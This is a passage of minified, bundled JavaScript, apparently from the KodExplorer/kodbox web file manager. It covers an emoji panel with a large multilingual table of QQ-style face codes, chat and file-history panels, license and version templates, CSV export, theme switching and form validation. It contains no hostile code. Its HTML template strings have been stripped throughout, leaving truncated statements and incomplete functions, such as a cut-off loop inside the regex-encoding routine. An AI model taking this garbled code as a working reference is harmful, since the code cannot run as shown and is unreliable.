\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='',e,!1);this.$panel=$(t).insertAfter(this.$emojiBtn)},"display":function(e){var t=this;if(e){this.$emojiBtn.addClass("panel-open"),this.$panel.removeClass("hidden"),this.$panel.fadeIn(150),this.displayFirst||(this.displayFirst=!0,this.$panel.find(".perfectScroll").perfectScroll(),this.$panel.find(".tab-item").first().click());var i=_.extend({"of":this.$emojiBtn,"at":"left bottom","my":"left top","collision":"flip"},this.positionAt);this.$panel.position(i)}else this.$emojiBtn.removeClass("panel-open"),this.$panel.fadeOut(150,function(){t.$panel&&t.$panel.addClass("hidden")})},"bindEvent":function(){var a=this;this.$emojiBtn.bind("click",function(){var e=a.$panel.hasClass("hidden");a.display(e)});var s=function s(e){if(!$.targetParent(e,a.$emojiBtn)){var t=$.targetParent(e,".emoji-panel"),i=a.$emojiBtn.parent().find(".emoji-panel");if(t&&t.is(i)){var n=$.targetParent(e,".item-face");n&&(a.display(!1),a.parent.insertText(n.attr("data-text")))}else a.display(!1)}};$(document).bind("click",s),this.bind("onRemove",function(){$(document).unbind("click",s)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="qq",this.name=LNG["common.faceDefault"]},"htmlPanel":function(){return this.makeHtmlPanel()},"toText":function(e){return e},"toHtml":function(e){return this.parseToHtml(e)},"faceArr":[{"id":"1_smile","cn":"微笑","hk":"微笑","us":"Smile","code":"/::)","web_code":"/微笑"},{"id":"2_grimace","cn":"撇嘴","hk":"撇嘴","us":"Grimace","code":"/::~","web_code":"/撇嘴"},{"id":"3_drool","cn":"色","hk":"色","us":"Drool","code":"/::B","web_code":"/色"},{"id":"4_scowl","cn":"发呆","hk":"發呆","us":"Scowl","code":"/::|","web_code":"/发呆"},{"id":"5_coolguy","cn":"得意","hk":"得意","us":"CoolGuy","code":"/:8-)","web_code":"/得意"},{"id":"6_sob","cn":"流泪","hk":"流淚","us":"Sob","code":"/::<","web_code":"/流泪"},{"id":"7_shy","cn":"害羞","hk":"害羞","us":"Shy","code":"/::$","web_code":"/害羞"},{"id":"8_silent","cn":"闭嘴","hk":"閉嘴","us":"Silent","code":"/::X","web_code":"/闭嘴"},{"id":"9_sleep","cn":"睡","hk":"睡","us":"Sleep","code":"/::Z","web_code":"/睡"},{"id":"10_cry","cn":"大哭","hk":"大哭","us":"Cry","code":"/::'(","web_code":"/大哭"},{"id":"11_awkward","cn":"尴尬","hk":"尷尬","us":"Awkward","code":"/::-|","web_code":"/尴尬"},{"id":"12_angry","cn":"发怒","hk":"發怒","us":"Angry","code":"/::@","web_code":"/发怒"},{"id":"13_tongue","cn":"调皮","hk":"調皮","us":"Tongue","code":"/::P","web_code":"/调皮"},{"id":"14_grin","cn":"呲牙","hk":"呲牙","us":"Grin","code":"/::D","web_code":"/呲牙"},{"id":"15_surprise","cn":"惊讶","hk":"驚訝","us":"Surprise","code":"/::O","web_code":"/惊讶"},{"id":"16_frown","cn":"难过","hk":"難過","us":"Frown","code":"/::(","web_code":"/难过"},{"id":"17_ruthless","cn":"酷","hk":"酷","us":"Ruthless","code":"/::+","web_code":"/酷"},{"id":"18_blush","cn":"冷汗","hk":"冷汗","us":"Blush","code":"/:--b","web_code":"/冷汗"},{"id":"19_scream","cn":"抓狂","hk":"抓狂","us":"Scream","code":"/::Q","web_code":"/抓狂"},{"id":"20_puke","cn":"吐","hk":"吐","us":"Puke","code":"/::T","web_code":"/吐"},{"id":"21_chuckle","cn":"偷笑","hk":"偷笑","us":"Chuckle","code":"/:,@P","web_code":"/偷笑"},{"id":"22_joyful","cn":"愉快","hk":"愉快","us":"Joyful","code":"/:,@-D","web_code":"/可爱"},{"id":"23_slight","cn":"白眼","hk":"白眼","us":"Slight","code":"/::d","web_code":"/白眼"},{"id":"24_smug","cn":"傲慢","hk":"傲慢","us":"Smug","code":"/:,@o","web_code":"/傲慢"},{"id":"25_hungry","cn":"饥饿","hk":"饑餓","us":"Hungry","code":"/::g","web_code":"/饥饿"},{"id":"26_drowsy","cn":"困","hk":"累","us":"Drowsy","code":"/:|-)","web_code":"/困"},{"id":"27_panic","cn":"惊恐","hk":"驚恐","us":"Panic","code":"/::!","web_code":"/惊恐"},{"id":"28_sweat","cn":"流汗","hk":"流汗","us":"Sweat","code":"/::L","web_code":"/流汗"},{"id":"29_laugh","cn":"憨笑","hk":"大笑","us":"Laugh","code":"/::>","web_code":"/憨笑"},{"id":"30_commando","cn":"悠闲","hk":"悠閑","us":"Commando","code":"/::,@","web_code":"/大兵"},{"id":"31_determined","cn":"奋斗","hk":"奮鬥","us":"Determined","code":"/:,@f","web_code":"/奋斗"},{"id":"32_scold","cn":"咒骂","hk":"咒罵","us":"Scold","code":"/::-S","web_code":"/咒骂"},{"id":"33_shocked","cn":"疑问","hk":"疑問","us":"Shocked","code":"/:?","web_code":"/疑问"},{"id":"34_shhh","cn":"嘘","hk":"噓","us":"Shhh","code":"/:,@x","web_code":"/嘘"},{"id":"35_dizzy","cn":"晕","hk":"暈","us":"Dizzy","code":"/:,@@","web_code":"/晕"},{"id":"36_tormented","cn":"疯了","hk":"瘋了","us":"Tormented","code":"/::8","web_code":"/折磨"},{"id":"37_toasted","cn":"衰","hk":"衰","us":"Toasted","code":"/:,@!","web_code":"/衰"},{"id":"38_skull","cn":"骷髅","hk":"骷髏頭","us":"Skull","code":"/:!!!","web_code":"/骷髅"},{"id":"39_hammer","cn":"敲打","hk":"敲打","us":"Hammer","code":"/:xx","web_code":"/敲打"},{"id":"40_wave","cn":"再见","hk":"再見","us":"Wave","code":"/:bye","web_code":"/再见"},{"id":"41_speechless","cn":"擦汗","hk":"擦汗","us":"Speechless","code":"/:wipe","web_code":"/擦汗"},{"id":"42_nosepick","cn":"抠鼻","hk":"摳鼻","us":"NosePick","code":"/:dig","web_code":"/抠鼻"},{"id":"43_clap","cn":"鼓掌","hk":"鼓掌","us":"Clap","code":"/:handclap","web_code":"/鼓掌"},{"id":"44_shame","cn":"糗大了","hk":"羞辱","us":"Shame","code":"/:&-(","web_code":"/糗大了"},{"id":"45_trick","cn":"坏笑","hk":"壞笑","us":"Trick","code":"/:B-)","web_code":"/坏笑"},{"id":"46_bah-l","cn":"左哼哼","hk":"左哼哼","us":"Bah!L","code":"/:<@","web_code":"/左哼哼"},{"id":"47_bah-r","cn":"右哼哼","hk":"右哼哼","us":"Bah!R","code":"/:@>","web_code":"/右哼哼"},{"id":"48_yawn","cn":"哈欠","hk":"哈欠","us":"Yawn","code":"/::-O","web_code":"/哈欠"},{"id":"49_pooh-pooh","cn":"鄙视","hk":"鄙視","us":"Pooh-pooh","code":"/:>-|","web_code":"/鄙视"},{"id":"50_shrunken","cn":"委屈","hk":"委屈","us":"Shrunken","code":"/:P-(","web_code":"/委屈"},{"id":"51_tearingup","cn":"快哭了","hk":"快哭了","us":"TearingUp","code":"/::'|","web_code":"/快哭了"},{"id":"52_sly","cn":"阴险","hk":"陰險","us":"Sly","code":"/:X-)","web_code":"/阴险"},{"id":"53_kiss","cn":"亲亲","hk":"親親","us":"Kiss","code":"/::*","web_code":"/亲亲"},{"id":"54_wrath","cn":"吓","hk":"嚇","us":"Wrath","code":"/:@x","web_code":"/吓"},{"id":"55_whimper","cn":"可怜","hk":"可憐","us":"Whimper","code":"/:8*","web_code":"/可怜"},{"id":"56_cleaver","cn":"菜刀","hk":"菜刀","us":"Cleaver","code":"/:pd","web_code":"/菜刀"},{"id":"57_watermelon","cn":"西瓜","hk":"西瓜","us":"Watermelon","code":"/:","web_code":"/西瓜"},{"id":"58_beer","cn":"啤酒","hk":"啤酒","us":"Beer","code":"/:beer","web_code":"/啤酒"},{"id":"59_basketball","cn":"篮球","hk":"籃球","us":"Basketball","code":"/:basketb","web_code":"/篮球"},{"id":"60_pingpong","cn":"乒乓","hk":"乒乓","us":"PingPong","code":"/:oo","web_code":"/乒乓"},{"id":"61_coffee","cn":"咖啡","hk":"咖啡","us":"Coffee","code":"/:coffee","web_code":"/咖啡"},{"id":"62_rice","cn":"饭","hk":"飯","us":"Rice","code":"/:eat","web_code":"/饭"},{"id":"63_pig","cn":"猪头","hk":"豬頭","us":"Pig","code":"/:pig","web_code":"/猪头"},{"id":"64_rose","cn":"玫瑰","hk":"玫瑰","us":"Rose","code":"/:rose","web_code":"/玫瑰"},{"id":"65_fade","cn":"凋谢","hk":"枯萎","us":"Wilt","code":"/:fade","web_code":"/凋谢"},{"id":"66_lips","cn":"嘴唇","hk":"嘴唇","us":"Lips","code":"/:showlove","web_code":"/示爱"},{"id":"67_heart","cn":"爱心","hk":"愛心","us":"Heart","code":"/:heart","web_code":"/爱心"},{"id":"68_brokenheart","cn":"心碎","hk":"心碎","us":"BrokenHeart","code":"/:break","web_code":"/心碎"},{"id":"69_cake","cn":"蛋糕","hk":"蛋糕","us":"Cake","code":"/:cake","web_code":"/蛋糕"},{"id":"70_lightning","cn":"闪电","hk":"閃電","us":"Lightning","code":"/:li","web_code":"/闪电"},{"id":"71_bomb","cn":"炸弹","hk":"炸彈","us":"Bomb","code":"/:bome","web_code":"/炸弹"},{"id":"72_dagger","cn":"刀","hk":"刀","us":"Dagger","code":"/:kn","web_code":"/刀"},{"id":"73_soccer","cn":"足球","hk":"足球","us":"Soccer","code":"/:footb","web_code":"/足球"},{"id":"74_ladybug","cn":"瓢虫","hk":"甲蟲","us":"Ladybug","code":"/:ladybug","web_code":"/瓢虫"},{"id":"75_poop","cn":"便便","hk":"便便","us":"Poop","code":"/:shit","web_code":"/便便"},{"id":"76_moon","cn":"月亮","hk":"月亮","us":"Moon","code":"/:moon","web_code":"/月亮"},{"id":"77_sun","cn":"太阳","hk":"太陽","us":"Sun","code":"/:sun","web_code":"/太阳"},{"id":"78_gift","cn":"礼物","hk":"禮物","us":"Gift","code":"/:gift","web_code":"/礼物"},{"id":"79_hug","cn":"拥抱","hk":"擁抱","us":"Hug","code":"/:hug","web_code":"/拥抱"},{"id":"80_thumbsup","cn":"强","hk":"強","us":"ThumbsUp","code":"/:strong","web_code":"/强"},{"id":"81_thumbsdown","cn":"弱","hk":"弱","us":"ThumbsDown","code":"/:weak","web_code":"/弱"},{"id":"82_shake","cn":"握手","hk":"握手","us":"Shake","code":"/:share","web_code":"/握手"},{"id":"83_peace","cn":"胜利","hk":"勝利","us":"Peace","code":"/:v","web_code":"/胜利"},{"id":"84_fight","cn":"抱拳","hk":"抱拳","us":"Fight","code":"/:@)","web_code":"/抱拳"},{"id":"85_beckon","cn":"勾引","hk":"勾引","us":"Beckon","code":"/:jj","web_code":"/勾引"},{"id":"86_fist","cn":"拳头","hk":"拳頭","us":"Fist","code":"/:@@","web_code":"/拳头"},{"id":"87_pinky","cn":"差劲","hk":"差勁","us":"Pinky","code":"/:bad","web_code":"/差劲"},{"id":"88_rockon","cn":"爱你","hk":"愛你","us":"RockOn","code":"/:lvu","web_code":"/爱你"},{"id":"89_nuh-uh","cn":"NO","hk":"NO","us":"Nuh-uh","code":"/:no","web_code":"/NO"},{"id":"90_ok","cn":"OK","hk":"OK","us":"OK","code":"/:ok","web_code":"/OK"},{"id":"91_inlove","cn":"爱情","hk":"愛情","us":"InLove","code":"/:love","web_code":"/爱情"},{"id":"92_blowkiss","cn":"飞吻","hk":"飛吻","us":"Blowkiss","code":"/:","web_code":"/飞吻"},{"id":"93_waddle","cn":"跳跳","hk":"跳跳","us":"Waddle","code":"/:jump","web_code":"/跳跳"},{"id":"94_tremble","cn":"发抖","hk":"發抖","us":"Tremble","code":"/:shake","web_code":"/发抖"},{"id":"95_aaagh","cn":"怄火","hk":"噴火","us":"Aaagh!","code":"/:","web_code":"/呕火"},{"id":"96_twirl","cn":"转圈","hk":"轉圈","us":"Twirl","code":"/:circle","web_code":"/转圈"},{"id":"97_kotow","cn":"磕头","hk":"磕頭","us":"Kotow","code":"/:kotow","web_code":"/磕头"},{"id":"98_dramatic","cn":"回头","hk":"回頭","us":"Dramatic","code":"/:turn","web_code":"/回头"},{"id":"99_jumprope","cn":"跳绳","hk":"跳繩","us":"JumpRope","code":"/:skip","web_code":"/跳绳"},{"id":"100_surrender","cn":"投降","hk":"投降","us":"Surrender","code":"/:oY","web_code":"/挥手"},{"id":"101_hooray","cn":"激动","hk":"激動","us":"Hooray","code":"/:#-0","web_code":"/激动"},{"id":"102_meditate","cn":"乱舞","hk":"亂舞","us":"Meditate","code":"/:hiphot","web_code":"/街舞"},{"id":"103_smooch","cn":"献吻","hk":"獻吻","us":"Smooch","code":"/:kiss","web_code":"/献吻"},{"id":"104_taichi-l","cn":"左太极","hk":"左太極","us":"TaiChi L","code":"/:<&","web_code":"/左太极"},{"id":"105_taichi-r","cn":"右太极","hk":"右太極","us":"TaiChi R","code":"/:&>","web_code":"/右太极"},{"id":"106_hey","cn":"嘿哈","hk":"吼嘿","us":"Hey","ext":"png"},{"id":"107_facepalm","cn":"捂脸","hk":"掩面","us":"Facepalm","ext":"png"},{"id":"108_smirk","cn":"奸笑","hk":"奸笑","us":"Smirk","ext":"png"},{"id":"109_smart","cn":"机智","hk":"機智","us":"Smart","ext":"png"},{"id":"110_moue","cn":"皱眉","hk":"皺眉","us":"Moue","ext":"png"},{"id":"111_yeah","cn":"耶","hk":"歐耶","us":"Yeah!","ext":"png"},{"id":"112_packet","cn":"红包","hk":"Packet","us":"Packet","ext":"png"},{"id":"113_chick","cn":"鸡","hk":"小雞","us":"Chick","ext":"png"},{"id":"onlooker","cn":"吃瓜","hk":"吃西瓜","us":"Onlooker","ext":"png"},{"id":"goForIt","cn":"加油","hk":"加油","us":"GoForIt","ext":"png"},{"id":"sweats","cn":"汗","hk":"汗","us":"Sweats","ext":"png"},{"id":"omg","cn":"天啊","hk":"天啊","us":"OMG","ext":"png"},{"id":"emm","cn":"Emm","hk":"一言難盡","us":"Emm","ext":"png"},{"id":"respect","cn":"社会社会","hk":"失敬失敬","us":"Respect","ext":"png"},{"id":"doge","cn":"旺柴","hk":"旺柴","us":"Doge","ext":"png"},{"id":"noProb","cn":"好的","hk":"好的","us":"NoProb","ext":"png"},{"id":"myBad","cn":"打脸","hk":"打臉","us":"MyBad","ext":"png"},{"id":"wow","cn":"哇","hk":"哇","us":"Wow","ext":"png"},{"emoji":"😄","cn":"笑脸"},{"emoji":"😷","cn":"生病"},{"emoji":"😂","cn":"破涕为笑"},{"emoji":"😝","cn":"吐舌"},{"emoji":"😳","cn":"脸红"},{"emoji":"😱","cn":"恐惧"},{"emoji":"😔","cn":"失望"},{"emoji":"😒","cn":"无语"},{"emoji":"🙄"},{"emoji":"🙃"},{"emoji":"😩"},{"emoji":"🤔"},{"emoji":"🌚"},{"emoji":"👻","cn":"鬼魂"},{"emoji":"🙏","cn":"合十"},{"emoji":"💪","cn":"强壮"},{"emoji":"🎉","cn":"庆祝"},{"emoji":"🎁","cn":"礼物"},{"emoji":"🙈"},{"emoji":"👊"},{"emoji":"🙌"},{"emoji":"💯"},{"emoji":"💃"},{"emoji":"🍻"}],"parseFaceMap":function(){if(this.faceMap)return this.faceMap;var e={"imageShow":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imageShowExt":"png","imagePanel":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imagePanelExt":"png"},n={},a=e.imageShow,s=e.imageShowExt,r=e.imagePanel||e.imageShow,o=e.imagePanelExt||e.imageShowExt;_.each(this.faceArr,function(e){if(!e.emoji){var t=e.ext||s,i=e.ext||o;e.imageShow=a.replace("{id}",e.id),e.imageShow=e.imageShow.replace("{ext}",t),e.imagePanel=r.replace("{id}",e.id),e.imagePanel=e.imagePanel.replace("{ext}",i),e.cn&&(n["["+e.cn+"]"]=e),e.us&&(n["["+e.us+"]"]=e),e.hk&&(n["["+e.hk+"]"]=e),e.code&&(n[e.code]=e),e.web_code&&(n[e.web_code]=e)}}),this.faceMap=n},"makeHtmlPanel":function(){var r="",o=G.lang||"zh-CN";return o="zh-CN"==(o="zh-TW"==o?"hk":o)?"cn":"us",this.parseFaceMap(),_.each(this.faceArr,function(e){var t,i,n,a;if(e.emoji)t="item-face ripple-item item-face-emoji",n=e.emoji,i=e[o]||e.emoj,a=e.emoji;else{var s="emoji-qq-"+(e.us||"");s=s.toLowerCase().replace(/[ !]/g,"_"),t="item-face ripple-item item-face-img item-face-"+e.id+" "+s,a="["+(i=e[o])+"]",n=''}e.dataText=a,r+=''+n+""}),r},"encodeReg":function(e){for(var t="?()|<>./+".split(""),i=0;i"}):e},t="";return this._each(this.faceArr,function(e){e.web_code&&(t+=this.encodeReg(e.web_code)+"|"),e.code&&(t+=this.encodeReg(e.code)+"|")}),e=n(e=n(e,t),"\\[(.+?)\\]")}})},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    \n\t
    \n\t\t\n\t\t',t+=i(n["explorer.panel.chatName"]),t+='\n\t\t(0 ',t+=i(n["explorer.table.items"]),t+=')\n\t
    \n
    \n
    \n\t\n\t
    \n
    \n
    \n\t
    \n\t\t\x3c!-- --\x3e\n\t\t
    \n\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    ',t+=i(n["explorer.panel.chat.send"]),t+='
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t
    \n\t\t\t\n\t\t
    \t\t\n\t
    \n
    \n"}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.data,a=l.$escape,s=e.LNG,r=l.$each,o=(e.item,e.i,e.menuType);return t.isEmpty(n.list)?(i+='
    ',i+=a(s["explorer.panel.chat.empty"]),i+="
    "):(i+=" ",r(n.list,function(e,t){i+='
    ',i+=e.userInfo,i+='
    ',i+=a(l.dateShow(e.createTime)),i+='
    ',e.parentComment&&(i+=' ',i+=a(s["explorer.panel.chat.reply"]),i+=" ",i+=e.parentComment.userInfo,i+=': ',i+=e.parentComment.content,i+=" "),i+=' ',i+=e.content,i+='
    '}),i+=" "),i}},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=n(s(106)),i=n(s(413));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.pathAction=this.root.pathAction,this.$el=this.$(".tab-group-pan .panel-history"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-history",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.history.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(e,t,i){this.pathInfo.path!=e.path&&(this.initViewFinished||(this.initView(),this.initViewFinished=!0,this.$el.hide().delay(50).fadeIn(250)),this.serverData=!1,this.pathInfo=e,this.initViewList(e.path))},"initView":function(){this.rightMenu=new i["default"]({"parent":this}),this._delay(this.bindEvent,500)},"initViewList":function(t,e,i){var n=this,a={"path":t,"page":e||1,"pageNum":i||5},s=_.get(this.serverData,"pageInfo");!e&&s&&(a.page=s.page,a.pageNum=s.pageNum),this.pathModel.historyList(a,function(e){e&&e.code&&n.renderView(e.data,t)})},"renderView":function(e,t){var i=s(414),n=this,a={"data":e,"userInfo":this.root.path.userInfo};this.serverData=e,this.renderHtml(i,a,this.$(".content")),this.pageLoad(e.pageInfo,t),this.$(".menu-history-list-file").each(function(){$(this).data("fileItem",n.pathInfo)}),this.parent.resetTop()},"bindEvent":function(){var i=this,e=this.$el;e.delegate(".file-item.menu-history-list-file","dblclick",function(e){$.isEdit(e)||$.targetParent(e,".menu-trigger")||i.rightMenu.doAction("open",$(this))}),e.delegate(".new-version","click",function(e){var t=i.parent.historyBindFile.uploadNewVersion(i.pathInfo);i.listenToOnce(t,{"itemUploadSuccess":function(){i.initViewList(i.pathInfo.path)}})}),e.delegate(".version-refresh","click",function(e){i.initViewList(i.pathInfo.path)});var t=this.parent.rootSelector()+" .panel-history",n=_.bind(this.initViewList,this);i.rightMenu.bindHistoryItemMenu(t,n),i.bindEditDesc(e),a["default"].checkHistory(e)},"uploadVersionNotify":function(e,n){var a=this;this.listenToOnce(e,{"itemUploadSuccess":function(e,t){var i=_.get(e,"paramData.postParam.name");n.name==i&&(a.initViewList(n.path),a.changeNotify())}})},"changeNotify":function(){var e=this.pathInfo.path;Events.trigger("explorer.panel.history.change",e)},"bindEditDesc":function(e){var s=this;e.delegate(".file-item .detail .content","click",function(){if(!$(this).hasClass("on-edit")){var i=$(this).text();$(this).hasClass("placeholder")&&(i=""),$(this).attr("data-detail",i),$(this).addClass("on-edit"),$(this).html(''),$(this).removeClass("placeholder");var n=$(this).find("textarea"),a=$(this).parents(".file-item");n.val(i).autoTextarea({"maxHeight":120}),n.bind("blur",function(e){r(a,n.val())}),n.focusPose(),n.bind("keydown",function(e){var t=e.ctrlKey||e.shiftKey||e.altKey||e.metaKey;if("Escape"==e.key)r(a,i);else if("Enter"==e.key)return t?(n.textInsert("\n"),!0):(r(a,n.val()),stopPP(e))})}});var r=function r(e,t){var i=e.find(".detail .content"),n=i.attr("data-detail")||"",a={"path":e.parents(".file-history-content").attr("item-path"),"id":e.attr("item-id"),"detail":t};t!=n&&s.pathModel.historySetDetail(a,function(e){if(!e||!e.code)return Tips.tips(e);$(this).attr("data-detail",t),s.changeNotify()}),t?(i.html(htmlEncode(t)),i.removeClass("on-edit").removeClass("placeholder")):(i.html(LNG["explorer.fileDescAdd"]),i.removeClass("on-edit").addClass("placeholder"))}},"pageLoad":function(e,i){var n=this,t=this.$(".list-page"),a=[5,10,20];if(!e||e.totalNum<=a[0])return this.$el.addClass("page-empty"),t.html("");this.$el.removeClass("page-empty"),t.pageBox({"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":1,"pageCurrent":e.page,"pageSize":e.pageNum,"pageSizeArray":a,"callback":function(e,t){n.initViewList(i,e,t)}})}})},function(e,t,i){"use strict";var c=i(0);e.exports=function(e){e=e||{};var t="",i=c.$escape,n=e.LNG,a=e.item,s=e.timeTo,r=e.window,o=e.timeToService,l=e.G;if(t+='
    ',t+=i(n["common.version.userLimitTitle"]),t+='
    ',t+=i(n["common.version.userUse"]),t+=': ',t+=i(a.userUse),t+='
    ',t+=i(n["common.version.userAllow"]),t+=': ',1e4<=a.userLimit?(t+=' ',t+=i(n["common.noLimit"]),t+=" "):(t+=" ",t+=i(a.userLimit),t+=" "),t+="
    ","A"==a.versionType&&(t+='
    ',t+=i(n["common.version.license"]),t+='
    ',t+=i(a.versionText),t+=" "),t+="
    ","A"!=a.versionType){if(t+='
    ',t+=i(n["common.version.userTitle"]),t+='
    ',a.user&&(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(a.user),t+="
    "),t+=" ",a.timeTo){t+='
    ',t+=i(n["common.version.timeTo"]),t+=': ';s=''+n["common.version.licenseAll"]+"";a.timeTo-r.time()<=94608e3&&(s=r.dateFormat(a.timeTo,"timeDay")),t+=" ",t+=s,t+="
    "}if(t+=" ",a.timeToService){t+='
    ',t+=i(n["common.version.timeToService"]),t+=': ';o=r.dateFormat(a.timeToService,"timeDay");a.timeToService-r.time()<0&&(o+=''+n["common.version.timeout"]+""),t+=" ",t+=o,t+="
    "}t+=" ",a.user||a.timeTo||a.timeToService||(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(l.system.options.systemName),t+='
    ',t+=i(n["common.copyright.licenseResetTips"]),t+='
    '),t+='
    ',t+=i(n["common.copyright.licenseReset"]),t+='
    ',t+=i(a.versionText),t+="
    "}return t+='
    ',t+=i(n["common.version.kodVersion"]),t+='
    ',t+=i(n["common.version"]),t+=': ',t+=i(l.kod.version),t+='
    build: ',t+=i(l.kod.build),t+="
    '}},function(e,t,i){e.exports={"default":i(488),"__esModule":!0}},function(e,t,i){i(489),e.exports=i(1).Object.assign},function(e,t,i){var n=i(7);n(n.S+n.F,"Object",{"assign":i(490)})},function(e,t,i){"use strict";var p=i(27),h=i(76),f=i(42),m=i(38),w=i(59),a=Object.assign;e.exports=!a||i(18)(function(){var e={},t={},i=Symbol(),n="abcdefghijklmnopqrst";return e[i]=7,n.split("").forEach(function(e){t[e]=e}),7!=a({},e)[i]||Object.keys(a({},t)).join("")!=n})?function(e,t){for(var i=m(e),n=arguments.length,a=1,s=h.f,r=f.f;a\n \n \n
    ';this.tbTarget.find(".toolbar ."+e).append(i);var n=this,a=function a(){n.parent.pageing.currentPathPage=1,n.parent.searchValue=$.trim(n.tbTarget.find(".search-box input").val()),n.parent.refresh()};this.tbTarget.delegate(".search-box .btn-search","click",function(){a()}),this.tbTarget.find(".search-box input").keydown(function(e){13==e.keyCode&&a()}),this.tbTarget.delegate(".search-box input","blur",function(){""!=_.trim($(this).val())&&$(this).next().removeClass("hidden")}),this.tbTarget.delegate(".search-box .btn-close","click",function(){$(this).prev().val(""),$(this).addClass("hidden"),a()})},"bindExport":function(e,a){var t='";this.tbTarget.find(".toolbar ."+e).append(t);var n=this;this.tbTarget.delegate(".btn-export","click",function(){var e=n.tbTarget.find(".list-table .list-row");if(!e.not(".title").length)return Tips.tips(LNG["common.empty"],"warning");var t=[];e.each(function(){var i=[],n=$(this).hasClass("title");$(this).find(".list-col").each(function(){var e=_.trim($(this).text());if(!n&&a.formatter&&_.isFunction(a.formatter)){var t=a.formatter($(this));_.isNull(t)||(e=t)}i.push('"'+e+'"')}),t.push(i.join(","))});var i=dateFormat(!1,"YmdHis")+roundString(4)+".csv";$.htmlDownload("\ufeff"+t.join("\r\n"),i)})}})},function(e,t,i){"use strict";i(0);e.exports=function(e){return'
    ','
    '}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0});var s=n(41);i["default"]=ClassBase.extend({"init":function(){this.bindTheme()},"bindTheme":function(){window.userModel=s.userModel;var t=this;this.setTheme(),Events.bind("user.themeChange",_.bind(this.setTheme,this),this),Events.bind("user.themeChangeNotify",_.bind(this.themeChangeNotify,this),this);var i=window.matchMedia("(prefers-color-scheme: dark)"),n=function n(e){t.setTheme()};"function"==typeof i.addEventListener?i.addEventListener("change",n):"function"==typeof i.addListener&&i.addListener(n),this.bind("onRemove",function(){try{"function"==typeof i.addEventListener?i.removeEventListener("change",n):"function"==typeof i.addListener&&i.removeListener("change",n)}catch(e){}})},"setTheme":function(e){var t=$("body"),i=window.matchMedia("(prefers-color-scheme: dark)"),n=s.userModel.getOption("theme")||"auto",a=_.isUndefined(e)?n:e;t.removeClass("bg-black"),$(".dark-mode-toggle .desc").attr("theme",a),"auto"==a&&(a=i.matches?"dark-mode":""),t.attr("data-theme")&&t.removeClass(t.attr("data-theme")),t.addClass(a).attr("data-theme",a)},"themeChangeNotify":function(t){var e=[window.parent,window];try{window.parent!=window&&window.parent.$&&window.parent.$("iframe").each(function(){e.push($(this).get(0).contentWindow)})}catch(error){}$("iframe").each(function(){e.push($(this).get(0).contentWindow)}),e=_.union(e),_.each(e,function(e){try{e.Events&&e.Events.trigger("user.themeChange",t)}catch(error){}})}})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"el":"#app","init":function(e){var t={"icon":_.get(Router,"query.icon","error"),"title":_.get(Router,"query.title",LNG["common.error"]),"desc":_.get(Router,"query.desc","")};t=_.extend(t,e);var i=n(706);this.renderHtml(i,t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(20)),l=a(i(711));function a(e){return e&&e.__esModule?e:{"default":e}}var c=function c(e,a){var s={},r={},o=LNG["explorer.paramFormatError"];if(e.find("[name]").each(function(){var e=$(this).attr("name"),t=$(this).val();"checkbox"==$(this).attr("type")&&(t=$(this).prop("checked")+0+"");var i=a[e]||!1;if(i){var n=i.aliasKey||e;if(i.check&&!l["default"].check(t,i.check,i.param))return i["default"]?void(s[n]=i["default"]):void(r[n]=i.msg||o);s[n]=t}else s[e]=t}),0<(0,n["default"])(r).length){var t="";for(var i in r)t+=i+": "+r[i]+"
    \n";return Tips.tips(t,!1,3e3),!1}return s};t["default"]={"get":c,"check":l["default"]}},function(e,t,i){"use strict";var p=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.window,a=p.$escape,s=e.G,r=e.STATIC_PATH,o=e.systemName,l=e.systemDesc,c=e.langList,d=p.$each,u=(e.item,e.key,e.lang);return i+=''}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;e.msg;return t+='
    ',t+=i(n["common.pageNotExists"]),t+='
    ',t+=i(n["explorer.retryTips"]),t+='
    "}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){e=e||{};var t="";return t+='

    ',t+=(0,n.$escape)(e.LNG["explorer.wordLoading"]),t+="
    "}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){e=e||{};var t="",i=l.$escape,n=e.LNG,a=e.rule,s=e._,r=e.window,o=(e.desc,e.strong,e.strongMore,e.descText);t+='
    ',t+=i(n["user.directLogin"]),t+="
    "}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){var t="",i=(e=e||{}).LNG,n=a.$escape;return t+='
